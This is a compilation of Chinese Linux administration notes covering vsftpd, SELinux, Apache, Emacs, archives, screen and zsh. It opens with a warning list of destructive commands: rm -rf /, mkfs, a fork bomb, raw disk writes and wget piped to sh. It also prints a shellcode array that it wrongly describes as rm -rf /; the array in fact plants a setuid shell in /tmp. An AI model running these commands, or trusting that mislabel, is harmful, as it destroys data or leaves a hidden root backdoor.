附录

最后更新于:2022-04-01 22:04:17

[TOC] # FlatHub https://flatpak.org/setup/ # 致命的 Linux 命令 如果你是一个 Linux 新手,在好奇心的驱使下,可能会去尝试从各个渠道获得的命令。以下是 7 个致命的 Linux 命令,轻则使你的数据造成丢失,重则使你的系统造成瘫痪,所以,你应当竭力避免在系统中运行它们。 ``` rm -rf / ``` 此命令将递归并强制删除 / 目录下的所有文件。 这是 `rm -rf /` 的 hex(十六进制)版本,很能迷惑 Linux 用户。 ``` char esp[] __attribute__ ((section(".text"))) /* e.s.p release */ = "\xeb\x3e\x5b\x31\xc0\x50\x54\x5a\x83\xec\x64\x68" "\xff\xff\xff\xff\x68\xdf\xd0\xdf\xd9\x68\x8d\x99" "\xdf\x81\x68\x8d\x92\xdf\xd2\x54\x5e\xf7\x16\xf7" "\x56\x04\xf7\x56\x08\xf7\x56\x0c\x83\xc4\x74\x56" "\x8d\x73\x08\x56\x53\x54\x59\xb0\x0b\xcd\x80\x31" "\xc0\x40\xeb\xf9\xe8\xbd\xff\xff\xff\x2f\x62\x69" "\x6e\x2f\x73\x68\x00\x2d\x63\x00" "cp -p /bin/sh /tmp/.beyond; chmod 4755 /tmp/.beyond;"; mkfs.ext3 /dev/sda ``` 这将对硬盘进行重新格式化,自然,硬盘上的所有数据将灰飞烟灭。 ``` :(){ :|:& };: ``` 著名的 fork 炸弹,此命令将告诉你的系统执行海量的进程,直到你的系统僵死。 ``` any_command > /dev/sda ``` 使用该命令,原始数据将被写到块设备,其结果是造成数据丢失。 ``` wget http://some_untrusted_source -O- | sh ``` 不要从不信任的地方下载东西,这可能会获取恶意代码。 ``` mv /home/yourhomedirectory/* /dev/null ``` 此命令将移动主目录中的所有文件到一个不存在的地方,你将再也看不到那些文件。
';

Windows 与 linux 文件共享

最后更新于:2022-04-01 22:04:14

[TOC] [Windows与Linux文件系统互访的几种方法](http://os.51cto.com/art/201408/449273.htm) # 为什么要用远程桌面 虽然命令行中可以做很多事,但是有些Linux程序还是不能完全离开窗口环境,或者说离开后操作不方便。当没有显示器或者需要远程图形化操作时,一些远程桌面的价值就体现出来。 # 有哪些远程桌面解决方案 TeamViewer、VNC、RDP、Xdmcp等,欢迎补充。之前很多人都把远程桌面VNC、RDP翻来覆去炒冷饭,却没有人提到SSH+X11转发... # 什么是X11 X Window System 常被简称为X11或X,其功能包括窗口的绘制、移动,以及与鼠标、键盘等输入设备的交互。相信很多新手都知道startx这个命令,没有X11的话就只能对着黑乎乎的屏幕敲命令了。 它采用C/S模型:一个X server 和多个应用程序(client)通信。server接收client的请求绘制窗口,并将来自鼠标、键盘等设备的输入传递给client。 X server和client可以位于同一计算机上,就类似于平时使用的Windows操作系统;当X server和client不在同一计算机时,使用本地的X server 进行绘制、交互,就变成了远程桌面。 举个例子:前者是你在披萨店点了一份披萨,店员在你旁边帮你做好拿给你(这家店相当于同一台计算机);后者是你在网上叫了一份披萨,店员接单后到你家帮你做了一份披萨(注意:VNC是使用店里厨房,做好给你送过来;X转发是使用你家厨房做披萨) 不理解也没关系,会用能达到目的就好了。Via 常用X Server有免费的Xming、收费的Xmanager(非常棒的Xshell终端软件也是他家出的,家庭教育用户免费使用) 等;上述需要手动配置,然而有了**MobaXterm**,一切都变得超级简单!
';

~Emacs~

最后更新于:2022-04-01 22:04:12

[TOC] # 服务器用emacs ## Ubuntu下安装: 持续更新…… 方法一:只需要在终端逐条输入下列命令即可 (emacs-snapshot 是最新版本,更新速度相对较快) ~~~ sudo add-apt-repository ppa:ubuntu-elisp/ppa sudo apt update sudo apt install emacs-snapshot emacs-snapshot-el ~~~ # terminal中的 Emacs ## Package: emacs25-nox (25.1+1-3ubuntu4) GNU Emacs editor (without GUI support) ## emacs -nw 选项nw代表"no window" I would think that any GNU Emacs would accept the -nw command line option; the http://emacsformacosx.com/ version included. You can then use a shell alias or wrapper script to do that by default. e.g. for bash, you could use alias emacs="emacs -nw" (and add it to your .bashrc file to make it persistent)。 # 配置 ## 下载并安装emacs配置文件 ~~~ git clone https://github.com/robin-liu-1983/emacs-robin.d.git cd emacs-robin.d cp -rf emacs.d ~/.emacs.d ~~~ ## 配置文件说明 # 基本操作 # 参考 [为什么 Emacs 和 Vi 的学习曲线非常陡峭](http://blog.jobbole.com/87872/)
';

vim

最后更新于:2022-04-01 22:04:10

[TOC] # 参考 [VIM: editing (sourceforge.net)](http://vimcdoc.sourceforge.net/doc/editing.html#editing.txt)
';

CentOS下源码安装

最后更新于:2022-04-01 22:04:08

# CentOS下./configure && make && make install **正常的编译安装/卸载**: 源码的安装一般由3个步骤组成:配置(configure)、编译(make)、安装(make install)。 configure文件是一个可执行的脚本文件,它有很多选项,在待安装的源码目录下使用命令./configure –help可以输出详细的选项列表。 其中`--prefix`选项是配置安装目录,如果不配置该选项,安装后可执行文件默认放在/usr /local/bin,库文件默认放在/usr/local/lib,配置文件默认放在/usr/local/etc,其它的资源文件放在`/usr /local/share`,比较凌乱。 如果配置了--prefix,如: `$ ./configure --prefix=/usr/local/test` 安装后的所有资源文件都会被放在/usr/local/test目录中,不会分散到其他目录。 使用--prefix选项的另一个好处是方便卸载软件或移植软件;当某个安装的软件不再需要时,只须简单的删除该安装目录,就可以把软件卸载得干干净净;而移植软件只需拷贝整个目录到另外一个机器即可(相同的操作系统下)。 当然要卸载程序,也可以在原来的make目录下用一次make uninstall,但前提是Makefile文件有uninstall命令(nodejs的源码包里有uninstall命令,测试版本v0.10.35)。 ## 关于卸载: 如果没有配置--prefix选项,源码包也没有提供make uninstall,则可以通过以下方式可以完整卸载: 找一个临时目录重新安装一遍,如: $ ./configure --prefix=/tmp/to_remove && make install 然后遍历/tmp/to_remove的文件,删除对应安装位置的文件即可(因为/tmp/to_remove里的目录结构就是没有配置--prefix选项时的目录结构)。 >原文地址:http://www.cnblogs.com/zhangbo127/p/4556008.html 参考地址:http://www.zhihu.com/question/20092756 * * * * * # ./configure && make && make install 安装三部曲 很多时候我们需要用源码来安装软件,这时最常用的命令就是这三个——`./configure && make && make install` 按照我平时的理解,`./configure`是用来检查环境变量以及配置编译选项,`make`是用来将源代码编译成二进制文件,而`make install`则是将make编译出来的文件安装到指定位置(或默认位置) 刚才搜索LFS搭建过程的时候,无意中看到了金步国先生写的《深入理解软件包的配置、编译与安装》,方才彻底理解了./configure && make && make install 安装三部曲的真正原理,我原来的理解虽然不错,但是不全面。 用一句话来解释这个过程就是:根据源码包中 Makefile.in 文件的指示,configure 脚本检查当前的系统环境和配置选项,在当前目录中生成 Makefile 文件(还有其它本文无需关心的文件),然后 make 程序就按照当前目录中的 Makefile 文件的指示将源代码编译为二进制文件,最后将这些二进制文件移动(即安装)到指定的地方(仍然按照 Makefile 文件的指示)。 > 具体关于makefile、make的选项以及configure脚本的具体说明,请参考金步国先生的《[深入理解软件包的配置、编译与安装](http://www.jinbuguo.com/linux/understand_package_install.html)》。
';

解压缩

最后更新于:2022-04-01 22:04:05

## unzip 先要安装unzip,然后才能使用命令。 安装方法:`yum install unzip`。 `cd /home` #进入/home目录 1、把/home目录下面的mydata目录压缩为mydata.zip `zip -r mydata.zip mydata` #压缩mydata目录 2、把/home目录下面的mydata.zip解压到mydatabak目录里面 `unzip mydata.zip -d mydatabak ` 3、把/home目录下面的abc文件夹和123.txt压缩成为abc123.zip `zip -r abc123.zip abc 123.txt ` 4、把/home目录下面的wwwroot.zip直接解压到/home目录里面 `unzip wwwroot.zip` 5、把/home目录下面的abc12.zip、abc23.zip、abc34.zip同时解压到/home目录里面 `unzip abc\*.zip ` 6、查看把/home目录下面的wwwroot.zip里面的内容 `unzip -v wwwroot.zip ` 7、验证/home目录下面的wwwroot.zip是否完整 `unzip -t wwwroot.zip` 8、把/home目录下面wwwroot.zip里面的所有文件解压到第一级目录 `unzip -j wwwroot.zip` ## 打包、解压RAR文件包 有些朋友购买了vps后由于他是从原来的win主机搬迁过来,备份打包的数据是rar格式的,那在CentOS下怎么解压呢? Goole一下,找到解决办法: ~~~ wget http://www.rarsoft.com/rar/rarlinux-3.9.3.tar.gz tar -xvf rarlinux-3.9.3.tar.gz cd rar make ~~~ 看见下面这些信息就是安装成功了 ~~~ mkdir -p /usr/local/bin mkdir -p /usr/local/lib cp rar unrar /usr/local/bin cp rarfiles.lst /etc cp default.sfx /usr/local/lib ~~~ 但有的时候在运行命令rar时,出现下面这个问题,rar: /lib/i686/nosegneg/libc.so.6: version 'GLIBC_2.7' not found (required by rar)解决办法:`cp rar_static /usr/local/bin/rar`使用举例 ~~~ rar x lvtao.rar //解压 lvtao.rar 到当前目录 rar lvtao.rar ./lvtao.net/ //将 lvtao.net 目录打包为 lvtao.rar ~~~
';

FTP中问题整理

最后更新于:2022-04-01 22:04:03

# centos vsftp 500 OOPS: cannot change directory:/home/ftp 他的系统是CentOS,是RH派系的。我把vsftpd安装配置好了,以为大功告成,但客户端访问提示如下错误: `500 OOPS: cannot change directory:/home/ftp` 原因是他的CentOS系统安装了SELinux,因为默认下是没有开启FTP的支持,所以访问时都被阻止了。 //查看SELinux设置 ~~~ # getsebool -a|grep ftp ftpd_disable_trans --> off 或者 ftp_home_dir-->off ~~~ 解决方法: ~~~ //使用setsebool命令开启 # setsebool ftpd_disable_trans 1 或者 # setsebool ftp_home_dir 1 ~~~ //再次查看当前状态是否是on的状态 ~~~ # getsebool -a|grep ftp ftpd_disable_trans --> on 或者 ftp_home_dir-->on ~~~ //setsebool使用-P参数,无需每次开机都输入这个命令 ~~~ # setsebool -P ftpd_disable_trans 1 或者 # setsebool -P ftp_home_dir 1 # service vsftpd restart ~~~ 有关selinux的配置 如关闭,仅仅警告,强制等等 需要编辑`/etc/sysconfig/selinux` 默认是强制。 ## centos vsftpd 出现553 Could not create file 1。首先确保你的FTP目录 文件是可写的,ls -l 可以查看 如果不是则 chmod 777 ftpd目录 2。使用命令getsebool -a|grep ftp 查看 ftpd_disable_trans ftp_home_dir allow_ftpd_full_access 是否为on 如果不是则使用 setsebool allow_ftpd_full_access on setsebool ftpd_disable_trans on setsebool ftp_home_dir on 3。一般这样就可以了,如果还不行请查看配置文件,如果配置文件没有问题可以先远程连接服务器在FTP目录下随便创建一个文件,使用ftp刷新下目录会恢复正常(这个情况我遇到过)。
';

CentOS下的FTP设置

最后更新于:2022-04-01 22:04:01

>一般都使用ftp软通过sftp登录,上传文件。 # centos启用ftp功能 vsftpd作为FTP服务器,在Linux系统中是非常常用的。下面我们介绍如何在centos系统上安装vsftp。 ## 什么是vsftpd vsftpd是一款在Linux发行版中最受推崇的FTP服务器程序。特点是小巧轻快,安全易用。 vsftpd 的名字代表”very secure FTP daemon”, 安全是它的开发者 Chris Evans 考虑的首要问题之一。在这个 FTP 服务器设计开发的最开始的时候,高安全性就是一个目标。 ### 1、安装vsftpd 1、以管理员(root)身份执行以下命令 yum install vsftpd 2、设置开机启动vsftpd ftp服务 chkconfig vsftpd on 3、启动vsftpd服务(默认ftp服务是没有启动的,用下面命令启动) `service vsftpd start` 管理vsftpd相关命令: ~~~ 停止vsftpd: service vsftpd stop 重启vsftpd: service vsftpd restart ~~~ 安装完后,有/etc/vsftpd/vsftpd.conf 文件,用来配置,还有新建了一个ftp用户和ftp的组,指向home目录为/var/ftp,默认是nologin(不能登录系统) 可以用下面命令查看用户 `cat /etc/passwd ` ### 2、安装ftp客户端组件(用来验证是否vsftpd) `yum -y install ftp ` 执行命令尝试登录 `ftp localhost ` 输入用户名ftp,密码随便(因为默认是允许匿名的) 登录成功,就代表ftp服务可用了。 但是,外网是访问不了的,所以还要继续配置。 ### 3、配置防火墙 因为ftp默认的端口为21,而centos默认是没有开启的,所以要修改iptables文件 `vi /etc/sysconfig/iptables ` 在行上面有`22 -j ACCEPT` 下面另起一行输入跟那行差不多的,只是把22换成21,或者**添加这行代码**:`-A RH-Firewall-1-INPUT -m state --state NEW -m tcp -p tcp --dport 21 -j ACCEPT`,然后`:wq`保存。 保存和关闭文件,重启防火墙: `service iptables restart ` 外网是可以访问上去了,可是发现没法返回目录,也上传不了,因为selinux作怪了。 ##4、配置vsftpd服务器 默认的配置文件是/etc/vsftpd/vsftpd.conf,你可以用文本编辑器打开。 vi /etc/vsftpd/vsftpd.conf 添加ftp用户 下面是添加ftpuser用户,设置根目录为/home/wwwroot/ftpuser,禁止此用户登录SSH的权限,并限制其访问其它目录。 **1、修改/etc/vsftpd/vsftpd.conf** 把第一行的 `anonymous_enable=YES` ,改为`NO`,取消匿名登陆 将底下三行 ~~~ #chroot_list_enable=YES # (default follows) #chroot_list_file=/etc/vsftpd.chroot_list ~~~ 改为 ~~~ chroot_list_enable=YES # (default follows) chroot_list_file=/etc/vsftpd/chroot_list ~~~ 重启 `service vsftpd restart ` ##5、新建一个用户(ftpuser为用户名,随便就可以) `useradd ftpuser ` 修改密码(输入两次) `passwd ftpuser ` 这样一个用户建完,可以用这个登录,记得用普通登录不要用匿名了。**登录后默认的路径为 /home/ftpuser.** > **这种方法不能设置自己的目录,推荐使用下面的方法设置用户和用户ftp目录。** ## 6、增加用户ftpuser,指向目录/home/wwwroot/ftpuser,禁止登录SSH权限。 `useradd -d /home/wwwroot/ftpuser -g ftp -s /sbin/nologin ftpuser` 1、设置用户口令 `passwd ftpuser` 2、编辑文件chroot_list: `vi /etc/vsftpd/chroot_list` 内容为ftp用户名,每个用户占一行,如: ~~~ peter john ~~~ 另外,如果觉得以后管理ftp用户名嫌麻烦,可以使用centos官方发布的脚本管理。地址如下: http://wiki.centos.org/HowTos/Chroot_Vsftpd_with_non-system_users ## 7、修改selinux(遇到的问题经常与之有关) `getsebool -a | grep ftp ` 执行上面命令,再返回的结果看到两行都是off,代表,没有开启外网的访问。(这是因为服务器开启了selinux,这限制了FTP的登录。) ~~~ .... allow_ftpd_full_access off .... .... ftp_home_dir off ~~~ 只要把上面都变成on就行 执行 ~~~ setsebool -P allow_ftpd_full_access 1 setsebool -P ftp_home_dir off 1 ~~~ 再重启一下vsftpd `service vsftpd restart ` 这样应该没问题了(如果,还是不行,看看是不是用了ftp客户端工具用了passive模式访问了,如提示Entering Passive mode,就代表是passive模式,默认是不行的,因为ftp passive模式被iptables挡住了,下面会讲怎么开启,如果懒得开的话,就看看你客户端ftp是否有port模式的选项,或者把passive模式的选项去掉。如果客户端还是不行,看看客户端上的主机的电脑是否开了防火墙,关吧) ## 8、开启passive模式 默认是开启的,但是要指定一个端口范围,打开vsftpd.conf文件,在后面加上 ~~~ pasv_min_port=30000 pasv_max_port=30999 ~~~ 表示端口范围为30000~30999,这个可以随意改。 改完重启一下vsftpd 由于指定这段端口范围,iptables也要相应的开启这个范围,所以像上面那样打开iptables文件 也是在21上下面另起一行,更那行差不多,只是把21 改为30000:30999,然后`:wq`保存,重启下iptables。这样就搞定了。
';

CentOS

最后更新于:2022-04-01 22:03:59

[Linux虚拟机中安装VMware Tools](http://www.cnblogs.com/Parallel-Life/archive/2012/02/18/2356868.html) # node # nginx ## 安装 yum 安装 Nginx,非常简单,一条命令。 ~~~ $ sudo yum install nginx ~~~ ## 配置 Nginx 服务 设置开机启动 ~~~ $ sudo systemctl enable nginx $ sudo systemctl start nginx $ sudo systemctl restart nginx ~~~ 重新加载,因为一般重新配置之后,不希望重启服务,这时可以使用重新加载。 ~~~ $ sudo systemctl reload nginx ~~~ ## 参考 [How to Set Up Nginx Server Blocks on CentOS 7](https://linuxize.com/post/how-to-set-up-nginx-server-blocks-on-centos-7/) [CentOS 7 下 yum 安装和配置 Nginx](https://qizhanming.com/blog/2018/08/06/how-to-install-nginx-on-centos-7)
';

私人配置

最后更新于:2022-04-01 22:03:56

~~~ vim /etc/httpd/conf/httpd.conf service httpd restart /bcweb/website/h5 ~~~ # 记centos 7.6 安装过程 ```shell # postgresql # https://ken.io/note/centos7-postgresql12-install-and-configuration sudo yum install -y postgresql12 postgresql12-server sudo yum remove -y postgresql12 postgresql12-server # 查看启动端口 netstat -tunlp ```
';

apache问题

最后更新于:2022-04-01 22:03:54

[TOC] ## **DocumentRoot must be a directory** 今天在修改了一下httpd.conf文件的DocumentRoot目录后重启了httpd服务,却发现报错了。 DocumentRoot must be a directory 。刚开始以为是自己配置有问题,后来检查了好一遍并确认配置的DocumentRoot就是一个directory啊。哎,只好baidu一下了。呵呵,看来遇到过这种报错的人还真不少啊。总结起来有两种可能导致了DocumentRoot must be a directory报错。 #### 1. DocumentRoot的目录配置中带有中文 如果你的DocumentRoot目录设置中有中文的话,请先修改成英文的试试吧。哈哈……如果还不行的话就请接着往下看吧。 #### 2. SELinux的安全策略搞得鬼啊 这是因为系统启用了SELinux安全策略之后会把目录或文件设成各种类型, 如home_root_t和user_home_t类型等。因些apache的进程就没有权限而无法访问你刚才设置的DocumentRoot了。针对 Apache的进程SELinux的安全策略规定只能访问 httpd_sys_content_t类型的目录或文件。所以把目录或文件的策略类型改成httpd_sys_content_t就可以了。修改命令如下: `chcon -R -h -t httpd_sys_content_t /data/coderbolg/` 可以用 ls -laZ 来查看目录的策略类型是否修改成功。做好了这一步如果还报错,呵呵……那还得往下看。 #### 3. 禁用SELinux 如果你真的被SELinux折磨的没有办法了。那就直接禁用SELinux吧。系统的不安全总比服务器不能访问的权重要低些吧。直接编辑SELinux的配置文件。 `vim /etc/sysconfig/selinux` 把SELINUX的值从enforcing改成disabled就行。存盘退出。这回一定可以了,如果还不可以就重启一下服务器吧。 ## 让Linux主机开启.htaccess支持 以前用的都虚拟主机,默认都是支持.htaccess的,而Linux中的centOS大多默认不支持.htaccess,而.htaccess重要性不言而喻。(**Xee**:有段时间弄phpcms v9,结果就是伪静态不行,原来是它没开启!) 国内的很多Linux型主机默认是不开启.htaccess的,从而导致不支持伪静态。而国外的虚拟主机基本上都是支持此服务的,我曾经问过国内的主机提供商为何不开启.htaccess服务,他们的回答很可笑,说是减轻服务器的负担,呵,这真是符合了中国的国情,真让你不知以何种语言反击之。 这里给一些菜鸟扫扫盲,很多站长都单纯的以为.htaccess就是伪静态,把.htaccess当成伪静态的代名词,以为.htaccess就起到.htaccess的作用,其实它的作用比你想象的大得多,出了伪静态,还有我们熟知的404啊、301跳转啊等,都可以通过.htaccess来实现,下面来给大家介绍一下如何在Linux型主机下开启.htaccess的支持,前提你有这个权限,一般这个针对的是服务器或者VPS,虚拟主机基本上是没门,除非你要求提供商帮你开启。另一种情况是有些童鞋在本地搭建PHP+MySQL+Apache的时候用得着此方法,本地的一键安装包有xampp和phpnow等,我个人推荐使用phpnow,简单易用,完全傻瓜式。如果你使用phpnow搭建的话你就不用往下看了,因为默认是开启的。 方法如下: **第一**:在Apache文件夹下的conf文件夹中找到httpd.conf,记事本或者类似的编辑工具打开后Ctrl+F查找“LoadModule rewrite_module”,找到“LoadModule rewrite_module modules/mod_rewrite.so”所在的那一行,确定这一行前面没有#,就说明已经加载了伪静态模块,假如这一行前面有#,请去掉,phpnow安装后默认是没有#的。 **第二**:让Apache服务器支持.htaccess,如何让自己的本地Apache服务器支持”.htaccess”呢?其实只要简单修改一下apache的httpd.conf设置就可以让支持.htaccess了。打开httpd.conf文件,用文本编辑器打开后,查找 ~~~ Options FollowSymLinks AllowOverride None ~~~ 改为 ~~~ Options FollowSymLinks AllowOverride All ~~~ 第一是确定是否已经加载了伪静态模块,第二是修改这一处的设置。操作完后测试一下.htaccess是否已生效,如还未生效,请重启Apache服务。
';

apache目录安全文章

最后更新于:2022-04-01 22:03:52

## Linux下PhpMyAdmin程序目录的安全管理 在Linux下开发Web程序,现在很流行的开发方法为:用PHP开发Web程序,用Apache做Web Server,Mysql充当后台管理数据库。这种组合使得开发Web程序简单、安全、效率高。由于程序是在Linux下运行,虽免去了版权费用,对数据库的管理却少了Windows下的图形界面管理工具,因此使用起来有点困难。现在有了一套由php开发爱好者写的管理Linux下数据库的程序,phpMyAdmin可极好的解决使用的易用性问题。PhpMyAdmin对管理Linux下的数据库行之有效,用户可以通过web浏览器新建删除数据库,增加、删除、修改表结构和表数据,还可以通过表单形式提交查询语句,返回数据结果。因此,现在很多的Linux服务器都使用phpMyAdmin管理数据库。   PhpMyAdmin是一套放在服务器端的通过浏览器界面管理的程序,因此,确保其目录安全性十分重要,否则,将导致数据被盗取甚至遭到恶意破坏。下面将详细讲述一般的防范措施。    一、 修改phpMyAdmin目录名:   在不修改目录名前,其他人很容易洞察该目录名,造成安全隐患。如,假设一台Linux主机的域名为:www.test.com,那么不修改目录名的情况下,在地址栏中输入:www.test.com/phpMyAdmin/ 就将进入phpMyAdmin管理程序。因此如果将phpMyAdmin目录改名为一个别人不易知道的目录,如mynameadmin,这样,你在管理自己的数据库时,只要键入:www.test.com/mynameadmin/ 就可以通过浏览器管理数据库了。(注:下面仍将使用phpMyAdmin目录名,如果目录名已换,只需把phpMyAdmin改名为新的目录名即可。)    二、 对phpMyAdmin目录加用户身份验证:   这是很多网站需要用户验证时普遍使用的方法,这样当用户第一次浏览进入该目录时,都将出现一个提示窗口,提示用户输入用户名和密码验证,其是通过使用Apache Server的标准 mod_auth模块实现的,具体操作方法如下:   1、VI编辑Apache Server配置文件,确保文件中如下两句话没有加注释,如果这两句话前有"#"符号,去掉"#"号。 ~~~ DocumentRoot /data/web/apache/public/htdocs AccessFileName . htaccess AllOerride All ~~~   2、passwd程序创建用户文件:  `htpasswd - c /data/web/apache/secrects/.htpasswd 88998`   其中,-c表示选项告诉htpasswd你想生成一个新的用户文件,/data/web/apache/secrects/ 是你想存放 .htpasswd 文件的目录,文件名称为 .htpasswd,88998 是在验证时所用到的用户名,敲如以上命令后,系统提示你输入密码,这个密码就是验证时所需要用到的密码,该密码在 .htpasswd 文件中是加密的。现在用more来查看 /data/web/apache/secrects/.htpasswd文件,可以看到其中有一行用户名和一串加密密码。   3、创建 .htaccess 文件:   使用文本编辑器,在目录 phpMyAdmin (如果已经改名,就是新的目录名)下创建 .htaccess 文件,在文件中加入如下语句: ~~~ AuthName "用户验证" AuthType Basic AuthUserFile /data/web/apache/public/htdocs/phpMyAdmin/.htpasswd require user 88998 ~~~   保存所做操作后,再去看phpMyAdmin目录,将提示验证窗口,输入刚用 htpasswd 命令创建的用户名和密码,即可进入该目录。    三、 增加基于主机的访问控制:   在修改了目录名和增加访问验证机制后,应该说现在的phpMyAdmin已经很安全了,但由于phpMyAdmin目录一般只是数据库管理员使用,为防止别人还知道目录名称和验证密码,还可以增加如下的基于主机的访问控制,基于主机的访问是通过验证用户机器IP来实现的,即只有符合条件的IP才可以反问该目录,否则拒绝访问。 修改 .htaccess 文件如下: ~~~ AuthName "用户验证" AuthType Basic AuthUserFile /data/web/apache/public/htdocs/phpMyAdmin/.htpasswd require user 88998 order deny,allow deny from all allow from 202.100.222.80 ~~~   这里增加了三条基于主机访问控制指令,其中第一条 order 指令的值是由一个逗号隔开的名单,这个名单表明了哪一个指令更高的优先权,第二条指令 deny 定义不能访问该目录的主机,第三条指令 allow 定义可以访问该目录的主机,这样,该目录除了IP地址为 202.100.222.80 的机器可以访问该目录之外,其他的都不能访问,读者可以把该地址该为用户数据库管理员IP。   **总结**:通过以上三点相结合,就可很好的确保 phpMyAdmin 目录的安全,非数据库管理员将很难通过phpMyAdmin程序读取数据。这里所讲的是针对于phpMyAdmin目录进行讲述,其他目录如需加访问限制,也可依此方法操作。
';

服务器操作

最后更新于:2022-04-01 22:03:49

[TOC] # [OneinStack一键包](https://oneinstack.com) * 简单介绍:来自Linuxeye博主独立出来的一键包程序,虽然起步没有Lnmp早,但是在最近发展还是很迅猛的,主要是更新很快,能够快速的更新当前最新的软件版本,以及可以有各种组合安装。比如可以快速安装lnmp、lamp、lnmpa、lnmt。 * 脚本优点:oneinstack一键脚本虽然不算新,但是经过这段时间的发展已经被广大用户实践过,基本上也没有较大的问题,而且可以根据实际的需要选择各种组合和各种软件的版本。 * 脚本安装:(centos) ``` yum -y install wget screen curl python wget http://mirrors.linuxeye.com/oneinstack-full.tar.gz tar xzf oneinstack-full.tar.gz cd oneinstack screen -S oneinstack ./install.sh ``` 这个安装脚本是安装到centos环境的,如果需要debian环境安装,可以到官方网站查看安装命令。 # [linux screen 命令](https://www.ibm.com/developerworks/cn/linux/l-cn-screen/)  作为linux服务器管理员,经常要使用ssh登陆到远程linux机器上做一些耗时的操作。  也许你遇到过使用telnet或SSH远程登录linux,运行一些程序。如果这些程序需要运行很长时间(几个小时),而程序运行过程中出现网络故障,或者客户机故障,这时候客户机与远程服务器的链接将终端,并且远程服务器没有正常结束的命令将被迫终止。  又比如你SSH到主机上后,开始批量的scp命令,如果这个ssh线程断线了,scp进程就中断了。在远程服务器上正在运行某些耗时的作业,但是工作还没做完快要下班了,退出的话就会中断操作了,如何才好呢?  我们利用screen命令可以很好的解决这个问题。实现在断开SSH的情况下,在服务器上继续执行程序。 ## 那什么是screen命令? Screen被称之为一个全屏窗口管理器,用他可以轻松在一个物理终端上获得多个虚拟终端的效果。 Screen功能说明:  简单来说,Screen是一个可以在多个进程之间多路复用一个物理终端的窗口管理器,这意味着你能够使用一个单一的终端窗口运行多终端的应用。Screen中有会话的概念,用户可以在一个screen会话中创建多个screen窗口,在每一个screen窗口中就像操作一个真实的telnet/SSH连接窗口那样。 Screen命令语法: ~~~ screen [-AmRvx -ls -wipe][-d <作业名称>][-h <行数>][-r <作业名称>][-s ][-S <作业名称>] ~~~ ## 更多 http://www.linuxidc.com/Linux/2014-04/100040.htm
';

常用软件

最后更新于:2022-04-01 22:03:47

[TOC] 在Manjaro下: follate # 截图 flameshot > [Manjaro 使用flameshot作为截图工具](https://www.djc8.cn/archives/manjaro-uses-flashshot-as-a-screenshot-tool.html) # pinta 画图软件 # 位图处理软件GIMP 这款软件可以算得上是Linux系统下的Photoshop,功能强大。正是因为功能强大,所以要驾驭它必须得下点功夫。 # qq 推荐还是手机qq吧,或者 virtualbox 安装qq # [Redshift](http://jonls.dk/redshift/) Redshift 是一款显示器色温自动调整应用。它能根据你的环境来调节电脑屏幕的色温,并非仅调节亮度,对于一些不能调节亮度的显示器也有很好的效果。如果你长时间坐在电脑前盯住屏幕,那么使用 Redshift 可更好的保护眼睛。 # [F.lux](https://justgetflux.com/) F.lux 是一款自动调整屏幕色温亮度的应用,可以预设一个适合的变化色温范围,白天的色温控制在 6500K 以下,晚上的色温控制在 3500K 以上,它能随着一天的时间变化自动调整你电脑显示器屏幕的色温,过滤对人眼伤害最大的蓝光,从而尽可能减少屏幕对眼睛所带来的疲劳感。 # CentOS 7 下安装Chrome浏览器 Chrome浏览器放弃了对Redhat, CentOS等的支持,所以想在最新版本的这些类Unix上安装Chrome就变得不怎么容易,好在互联网总有那么多志愿者,帮你做好这些事,下面记录我这次在CentOS 7 上安装Chrome的命令记录:具体教程见: 1.[Google Chrome 39 Released – Install on RHEL/CentOS 7/6 and Fedora 20-15](http://www.tecmint.com/install-google-chrome-on-redhat-centos-fedora-linux/) 2.[How to install Google Chrome 28+ on RHEL/CentOS 6 or 7](http://chrome.richardlloyd.org.uk/) 首先创建google-chrome的yum安装仓库文件“/etc/yum.repos.d/google-chrome.repo”,文件内容如下: ``` [google-chrome] name=google-chrome baseurl=http://dl.google.com/linux/chrome/rpm/stable/x86_64 enabled=1 gpgcheck=1 gpgkey=https://dl.google.com/linux/linux_signing_key.pub ``` 配置好了仓库之后就可以使用下面的命令安装了 `sudo yum install -y google-chrome-stable`
';

Linux下tty

最后更新于:2022-04-01 22:03:45

[TOC] 如同其他UNIX类系统,Linux本身也是基于命令行的。试试“Ctrl”+“Alt”+“Fx”。这就是控制台,算是Linux的本来面目。至于使用方法,除了多出登录注销外,其它操作和我们在linux图形界面(X—window)下的终端操作是一样的,在X-Window出问题或不运行X-Window的时候,操作主要在这里完成。   Linux在控制台下提供了不止一个(字符哑)终端,支持多用户同时登录,包括在本机同时登录。控制台“Alt”+“Fx”能够切换到第x个(字符哑)终端或者叫控制台终端tty1-tty6。如果需要从X-Window里跳到第(字符哑)终端,需要“Ctrl”+“Alt”+“Fx”。一般情况下如果要从控制台返回Xwindow可用““Alt”+F7”来返回到Xwind的图形界面。(Linux发行版提供7个虚拟屏幕,1~6号是控制台终端((字符哑)终端),第7个上面跑X-Window。) 只要用组合键:Ctrl+Alt+Fn ,这个n就是你要切换的虚拟终端的号,然后可以再按Alt+F7回到图形界面。 ~~~ ctrl+alt+f1 图形--->文本格式 alt+f7 文本格式===图形界面 ~~~ 但是有了chvt这个命令,就可以这样办拉。呵呵 比如你现在在图形界面,想切换到tty1,也就是一号终端,只要执行 chvt 1 即可 如果你想回到图形己面,只要执行 chvt 7 即可。。 然后输入 who am i 或者 tty 查看当前控制终端 [linux下tty,控制台,虚拟终端,串口,console(控制台终端)详解](http://blog.csdn.net/liaoxinmeng/article/details/5004743)
';

SELinux

最后更新于:2022-04-01 22:03:43

SELinux(Security-Enhanced Linux) 是美国国家安全局(NSA)对于强制访问控制的实现,是 Linux历史上最杰出的新安全子系统。
';

zsh

最后更新于:2022-04-01 22:03:40

# zsh > https://www.unixmen.com/install-oh-zsh-ubuntu-arch-linux-fedora/ 既然是用 Linux 当然没有忘记把 bash 换成 [zsh](Oh My Zsh) 1. 首先是安装 zsh: `sudo pacman -S zsh` 2. 接着配置 oh-my-zsh:`sh -c "$(curl -fsSL https://raw.fastgit.org/ohmyzsh/ohmyzsh/master/tools/install.sh)"` [ohmyzsh的安装过程中失败拒绝连接问题的解决](https://www.cnblogs.com/fcchen/p/12914066.html) 3. 最后更换默认的 shell: `chsh -s /bin/zsh` ## 插件 ~~~ plugins=( git z sudo zsh-autosuggestions zsh-syntax-highlighting zsh-better-npm-completion history history-substring-search node npm wd web-search last-working-dir ) ~~~ 插件 ~~~ # zsh-autosuggestions 历史记录插件: git clone https://hub.fastgit.org/zsh-users/zsh-autosuggestions 